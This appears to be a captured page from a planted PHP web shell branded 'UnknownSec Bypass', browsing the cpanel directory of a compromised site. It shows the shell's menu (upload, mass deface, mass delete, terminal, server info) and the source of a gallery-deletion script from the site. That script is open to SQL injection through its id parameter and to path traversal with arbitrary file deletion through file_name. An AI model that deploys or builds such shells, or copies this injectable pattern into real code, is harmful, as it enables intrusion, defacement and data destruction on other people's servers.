UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
delete_gallery_image.php
<?php include "../panelassets/config.php"; $galleryid=$_GET['id']; $filename="gallery_images/".$_GET['file_name']; echo $sql="DELETE FROM gallerytb WHERE id={$galleryid}"; if(mysqli_query($conn,$sql)){ unlink($filename); header("Location: {$hostnamecp}/list_gallery_images.php"); }else{ echo "<p style='color:red, margin: 10px 0px'>Record can not be deleted.</p>"; } mysqli_close($conn); ?>
Copyright © 2025 - UnknownSec